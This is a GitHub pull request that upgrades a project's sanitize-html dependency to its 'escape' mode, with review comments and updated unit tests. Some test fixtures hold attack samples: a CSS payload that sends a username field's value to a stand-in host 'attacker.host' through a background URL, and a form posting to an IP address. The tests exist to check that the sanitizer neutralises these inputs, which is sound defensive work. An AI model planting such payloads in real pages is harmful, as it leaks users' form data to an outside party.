Update sanitize-html that now officially support 'escaping' tags #6143
Conversation
packages/manager/src/utilities/sanitize-html/sanitize-html.test.ts
Outdated
Show resolved
Hide resolved
| expect(sanitizeHTML(login)).toBe( | ||
| '<form>Username:<br /><input /><br />Password:<br /><input /><br /><br /><input /><br /></form>' | ||
| ); | ||
| expect(sanitizeHTML(aScript)).toBe(`<span>Click me</span>`); |
There was a problem hiding this comment.
This test is still working the same way, just moved a bit down the page
| @@ -36,19 +37,79 @@ it('should escape script tags, retain child text, and strip attributes', () => { | |||
| ); | |||
| }); | |||
|
|
|||
| it('should escape unwanted blacklisted tags', () => { | |||
| expect(sanitizeHTML(login)).toBe( | |||
| '<form>Username:<br /><input /><br />Password:<br /><input /><br /><br /><input /><br /></form>' | |||
There was a problem hiding this comment.
This test is broken, it is in this file skipped a bit below
| @@ -24,7 +24,7 @@ | |||
| "cost-of-modules": "yarn global add cost-of-modules && cost-of-modules --less --no-install --include-dev", | |||
| "install:all": "yarn install --frozen-lockfile", | |||
| "up": "yarn install:all && yarn start:all", | |||
| "postinstall": "yarn workspaces run postinstall", | |||
| "postinstall": "patch-package && yarn workspaces run postinstall", | |||
There was a problem hiding this comment.
There is a patch to apply at the root now as @types/sanitize-html is hoisted
| @@ -329,8 +329,6 @@ | |||
| }, | |||
| "workspaces": { | |||
| "nohoist": [ | |||
| "@types/sanitize-html", | |||
| "sanitize-html", | |||
| "chart.js", | |||
There was a problem hiding this comment.
These used to not be hoisted because of the path of the patches, this is not necessary anymore as the patch is in the root package
| // see doc for this value here: | ||
| // https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded | ||
| // 'escape' : the disallowed tags are escaped rather than discarded. Any text or subtags is handled normally | ||
| disallowedTagsMode: 'escape' |
There was a problem hiding this comment.
Use the new Escape mode in sanitize-html https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded
| + // Added disalloedTagMode which was added in v 1.21.0 of sanitize-html | ||
| + // See doc https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded | ||
| + disallowedTagsMode?: 'discard' | 'escape' | 'recursiveEscape'; | ||
| textFilter?: (text: string) => string; |
There was a problem hiding this comment.
This patch just declares in the types the option
| }); | ||
| describe('should not allow CSS attacks by escaping the style tag', () => { | ||
| it('simple check scape style tag', () => { | ||
| /// This test works very fine |
There was a problem hiding this comment.
works as expected by escaping <style>
| xit('originalCssTest', () => { | ||
| // This test does not, because the whole line get s discarded | ||
| // also my issue | ||
| // https://github.com/apostrophecms/sanitize-html/issues/334 |
There was a problem hiding this comment.
does not pass, and returns "",
This is likely related to the input tag
https://github.com/apostrophecms/sanitize-html#what-if-i-want-disallowed-tags-to-be-escaped-rather-than-discarded
|
|
||
| it('should not allow CSS attacks by escaping the style tag', () => { | ||
| expect(sanitizeHTML(css)).toBe( | ||
| '<style>#username[value="mikeg"] {background:url("https://attacker.host/mikeg");}</style><input />' |
There was a problem hiding this comment.
As you can see below this test does not pass, sanitize now return Nothing with this input,
Although given a test with the style tag and no input tag does escape just the style tag.
Note also i noticed there is which is incorrect i think in the input
| const form = `<form action="http://192.168.149.128">Username: | ||
| <input type="username" name="username"></form>`; | ||
| expect(sanitizeHTML(form)).toBe('</form>'); | ||
| }); |
There was a problem hiding this comment.
here simple form + input. input is discarded entirely (i think this is because there is no content to the tag)
| const form = `<form>Username: | ||
| <input type="username" name="username"></form>`; | ||
| expect(sanitizeHTML(form)).toBe(escapedForm2); | ||
| }); |
There was a problem hiding this comment.
This does not work (see the test right below) it looks like instead of escaping input, as it has no child node they discarded it entirely
Description
Goal:
Consequences:
@types/sanitize-htmlas the type library does not support the declare the option we use in the interfaceUnplanned consequences:
TODO BEFORE MERGING
Type of Change
Applicable Tests
yarn test sanitize-htmlNote to Reviewers
Here an important things is to Really think about the test cases covered in this.
Notably some existing tests got broken, Sanitize did clean up the input into something non harmful, but not what we expected.
It is not very sure to me that the new output is wrong or why the output we tested was what it was.